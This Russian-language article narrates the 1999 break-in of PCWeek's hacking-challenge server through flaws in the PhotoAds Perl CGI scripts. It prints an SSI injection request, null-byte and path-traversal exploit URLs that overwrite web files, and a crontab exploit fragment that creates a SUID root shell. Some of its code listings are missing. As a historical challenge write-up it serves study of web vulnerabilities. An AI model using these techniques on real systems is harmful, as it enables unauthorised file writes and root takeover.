Документ из базы библиотеки компьютерной литературы 'Roga и Копыта' - www.roga.by.ru |
ХРОНИКИ УСПЕШНОГО ВЗЛОМА В данной статье мы рассмотрим успешную попытку атаки на машину securelinux.hackpcweek.com. PCWeek проводит тестирование компьютерных систем весьма просты способом - сотрудники берут компьютер, подключают его к интернету, и публикуют заявление с просьбой взломать данный сервер ( в нашем случае нужно было найти файл secret). Естественно, за вознаграждение. Естественно, сразу же после подключения к интернету у бедного компьютера начинается не жизнь, а мучение - толпы хищных до денег и славы хакеров, ламеров, юзеров начинают ломиться в систему, стремясь утащить злополучный файл. Но действительно что-то сделать удается далеко не всем, так как все уязвимости, известные широкой общественности, устранены, система стоит за firewall т.д. Короче, script-kiddies отдыхают. Может быть, прочитав данную статью, вы постигнете логику действий настоящего хакера - человека, которые не лазит по публичным архивам эксплоитов, пробуя их один за другим или задавая вопросы в форумах. Этот человек просто начал думать, размышлять и сопоставлять, в итоге добившись своей цели. Итак - подробное описание проникновения на машину securelinux.hackpcweek.com со всеми файлами, разъяснениями и примечаниями rb, попытавшегося еще более упростить и без того довольно простое повествование :)![]() Рассказывает сам взломщик: ![]() Сначала я попытался собрать всю доступную информацию о сервере, открытых портах, службах, в общем, стандартная разведка. Однако машина сидела за высокой огненной стеной и лишь немногие порты высовывались в бойницы. Да и те были закрыты для меня tcp-wrapperами (rb - tcp-wrapper - программа, которой передается управление после соединения с каким-то портом, на котором запущена служба. То есть эта программа стоит между вами и службой. Основываясь на заданных правилах она или пропустит вас дальше к общению непосредственно с демоном либо отключит ) ![]() Оставалась одна возможность - порт, через который этот сервер вещал на весь мир о своей неприступности - HTTP AKA 80. ![]() lemming:~# telnet securelinux.hackpcweek.com 80 Trying 208.184.64.170... Connected to securelinux.hackpcweek.com. Escape character is '^]'. POST X HTTP/1.0 {- rb - это заведомо ошибочная директива, но нам именно это и нужно. HTTP/1.1 400 Bad Request Date: Fri, 24 Sep 1999 23:42:15 GMT Server: Apache/1.3.6(Unix) (Red Hat/Linux) (...) Connection closed by foreign host. lemming:~# Итак, этот сервер запущен под управление Red Hat Linux (rb - мутная ОС, скажу вам честно ). Также я узнал что на Apache работает еще и mod_perl. ![]() По умолчанию Apache 1.3.6 идет без cgi-скриптов, но тем не менее я все равно проехался по серверу сканнером cgi-скриптов в надежде найти хоть что-то... :( хрен ![]() Пришлось просто ползать по сайту и смотреть на его структуру. Она оказалась такой: / /cgi-bin /photoads /photoads/cgi-bin Хоть что-то нашлось. После поиска в www я выяснил, что photoads - комерческий набор скриптов с сервера "The Home Office Online" (http://www.hoffice.com) Он стоит $149 вместе с исходным кодом на perl и позволяет пользователям закачивать на сервер свои фотографии. ![]() У меня нашелся друг, обладающий этими скриптами я вскоре я уже исследовал код. (rb - хм.. друг .. хорошая отмазка... а не влез ли наш друг на сервер компании-производителя и не потырил ли скрипты оттуда ? ;) ![]() Мне удалось воспользоваться скриптом /photoads/cgi-bin/env.cgi ( аналог test-cgi ) и я узнал некоторые детали о сервере, в частности то, что сервер запущен от nobody и что www-каталог расположен в /home/httpd/html. ![]() Для начала я попытался воспользоваться SSI или mod_perl. Хотя скрипт и фильтровал большинство получаемых данных, разработчики упустили следующую возможность : ![]() post.cgi, 36: ![]() print "you are trying to post an AD from another URL:$ENV{'HTTP_REFERER'}\n"; ![]() Переменная $ENV{'HTTP_REFERER'} определяет URL, с которого был выполнен скрипт и является переменной окружения CGI ( _обычно_ передается браузером ), но ничего не мешает нам сымитировать запрос, встроив свою переменную. ![]() getit.ssi : ![]() GET /photoads/cgi-bin/post.cgi HTTP/1.0 Referer: <!--#include file="/etc/passwd"--> Connection: Keep-Alive Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8 Host: securelinux.hackpcweek.com ![]() lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com ![]() Видите ? При вызове скрипта переменной $ENV{'HTTP_REFERER'} присвоится значение ![]() <!--#include file="/etc/passwd"--> и наш скрипт должен вернуть следующую строку: print "you are trying to post an AD from another URL:<!--#include file="/etc/passwd"-->\n"; А эта строка, согласно директиве ssi должна встроить в возвращаемый текст содержимое файла /etc/passwd К сожалению сервер не был сконфигурирован, чтобы поддерживать ssi, так что я потратил силы попусту. ![]() Большинство дыр в скриптах образуются при вызовах функций open(), system(), или вызовах команд, заключенных в обратные кавычки. Я начал искать эти функции. ![]() lemming:~/photoads/cgi-bin# grep 'open.*(.*)'cgi | more ![]() advisory.cgi: open(DARA, "$BaseDir/$DataFile"); edit.cgi: open(DATA, ">$BaseDir/$DataFile"); edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n"; photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!"); photo.cgi: open(FILE, $filename); (...) ![]() Переменные $BaseDir, $mailprog и $DataFile задавались в самом скрипте и поэтому там ловить было нечего. Но вот последние две строки вселяли некоторую надежду... ![]() photo.cgi, 132: ![]() $write_file=$Upload_Dir.$filename; open(ULFD,">$write_file") || die show_upload_failed ("$write_file $!"); print ULFD $UPLOAD{'FILE_CONTENT'}; close(ULFD); ![]() То есть если мы сможем модифицировать переменную $write_file, мы сможем записать в любой файл в системе свои данные. Переменная $write_file определяется таким образом: ![]() $write_file=$Upload_Dir.$filename; ![]() $Upload_Dir задается в самом скрипте, а вот откуда берется $filename ? ![]() photo.cgi, 226: ![]() ![]() К тому же имя файла должно иметь расширение gif или jpg, чтобы пройти проверку. Эту проблему удалось решить с помощью статьи rfp, опубликованной в 55 номере Phrack. ( rb - если лень читать стать ( а зря), просто усвойте - index.html%00.gif пройдет эту проверку, но в переменной $filename окажется index.html. Perl получит значение index.html%00.gif, обработает его и передаст ядру, подпрограммы которого просто проигнорируют все, что находится за "нулевым байтом" ) ![]() Для работы со скриптом, используя %00, используйте только метод GET. ![]() Но создатели скрипта подготовили еще несколько ловушек. В photo.cgi, 256 осуществляется проверка содержимого файла на предмет соответствия стандартам графических файлов. Если присланный файл не соответствует заданным критериям, он уничтожается. ![]() Вот как осуществляется проверка gif файлов: ![]() ![]() Давайте попробуем сделать $PhotoWidth==$PhotoHeight==0. Для этого нам нужно будет установить 6 и 9 байт передаваемого файла в ASCII 0 (NUL). ![]() Следующая проблема: После стольких мук файл перемещается совсем не туда, куда нам нужно. ![]() К тому же $AdNum переменная может содержать только цифры - Функция rename() ожидает два параметра - старое имя файла и новое имя файл... хотя... тут нет проверки на ошибку, и если она не сработает, программа просто пойдет дальше. Как бы нам заставить ее отказать ? ![]() Ядро Линукса имеет ограничение на длину имени файла (1024 символа), и если мы попросим rename переименовать наш файл во что-то большее, чем 1024 байта, мы добьемся желаемого. Наша следующая цель - передать _очень_большой_Ad номер. ![]() Следующая проблема - скрипт позволяет использовать только те номера, которые уже имеются в базе данных и мне совсем не хочется регистрировать 10 в степени 1024 пользователей, чтобы воспользоваться этим числом. Опять тупик ? ![]() К счастью, неправильная проверка входных данный привела к тому, что мы можем передать в AdNum любое число с условием, что перед ним имеется символ возврата каретки. ![]() Вот пример эксплоита: ![]() #!/bin/sh lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin /edit.cgi?AdNum=31337&action=done&Country=lala&City=lele& State=a&EMail=lala@hjere.com&Name=%0a 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111 &Phone=11&Subject=la&password=0&CityStPhone=0&Renewed=0" В итоге мы получаем возможность создавать/перезаписывать фалы в системе с правами nobody и с любым содержимым ( единственное условие - для прохождения gif-теста не забывать про 6 и 9 нулевые байты). Вот пример готовой программы для этого: #!/bin/sh lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/photo.cgi? file=a.jpg&AdNum=11111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111111111111111111 &DataFile=1&Password=0&FILE_CONTENT=%47%49%46%38%39%61 %c8%00%58%00%e6%00%00%0aJfs%20%20was%20Here%20-Details %20in%20the%20file%20called%20jfs(something)%20in%20the%20 photoads%20directory%0a&FILE_NAME=/lala/\../../../../.. /../../home/httpd/html/index.html%00.gif" Как видите, все условия соблюдены - имеется Poison Null Byte для проверки на gifовость, 6 и 9 байты равны нулю ( для того же ) и огромный номер для предотвращения перемещения файла. ![]() Однако перезаписать index.html не получилось - возможно владельцем этого файла был root. ![]() Ну что же.. если у нас хоть что-то получилось, значит есть еще и другие лазейки. Я попробовал перезаписать cgi скрипт собственными данными и попробовать запустить его, чтобы он нашел заветный secret файл. ![]() Шелл-скрипт для выполнения такой задачи выглядит так: ![]() #!/bin/sh echo "Content-type: text/html" find / "*secret*" -print ![]() И еще мы должны иметь 6, 7, 8 и 9 байты равными нулю. Но #!/bi\00\00\00\00n/sh не катит, так как ядро пытается выполнить #!/bi и обламывается... А насколько мне известно, до 6 байты мы никак не уместим путь ни к одному из известных шеллов. ![]() Однако, стандарт скомпилированных выполняемых ELF файлов как раз и подразумевает, что эти самые байты должны быть нулевыми, то етсь нам остается написать программу на каком-нибудь языке, скомпилировать ее, закачать и выполнить. ![]() Мы должны кодировать нашу программу, чтобы ее понял метод GET, и у нас имеется еще одно существенное ограничение - длина URL. Для Apache она составляет 8190 байт, из них 1024 уже уходит на длинный номер, так что мы остаемся где-то с 7000 байт на программу. ![]() Вот программа на c, выполняющая то что нам нужно: ![]() На этом этапе обычное самообладание мне отказало и я, вооружившись joe, залез прямо с текст скомпилированной программы и начал стирать сточка за строчкой. В итоге я получил ( да простят меня разработчики стандарта ELF ) рабочий(!) файл нужного размера. ![]() Я забросил этот файл на сервер, выполнил его и получил полный листинг файлов в системе. Но secret среди них не было. ![]() Кто я был бы, если бы остановился теперь. ![]() Пора прекратить играть в игрушки и стать root. Я нашел действующий локальный crontab exploit и с его помощью создал в /tmp SUID шелл, который впоследствии позволит любому пользователю выполнять команды с правами администратора. ![]() Вот этот эксплоит: ![]() ![]() execpl("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0); ![]() На этом сказка о превращении слабого лемминга в крутого администратора securelinux.hackpcweek.com подошла к концу. ![]() На все это ушло порядка 20 часов. ![]() (C) Jfs - !H'99 ![]() Последнее напутствие подрастающему поколению - 20 часов не сидения в чате и потрясания нюкерами и не 20 часов доставания по асе людей, кто разбирается немногим лучше вас, а 20 часов _шевеления мозгами_ ... хотя.. у кого их нет ... это все бестолку. |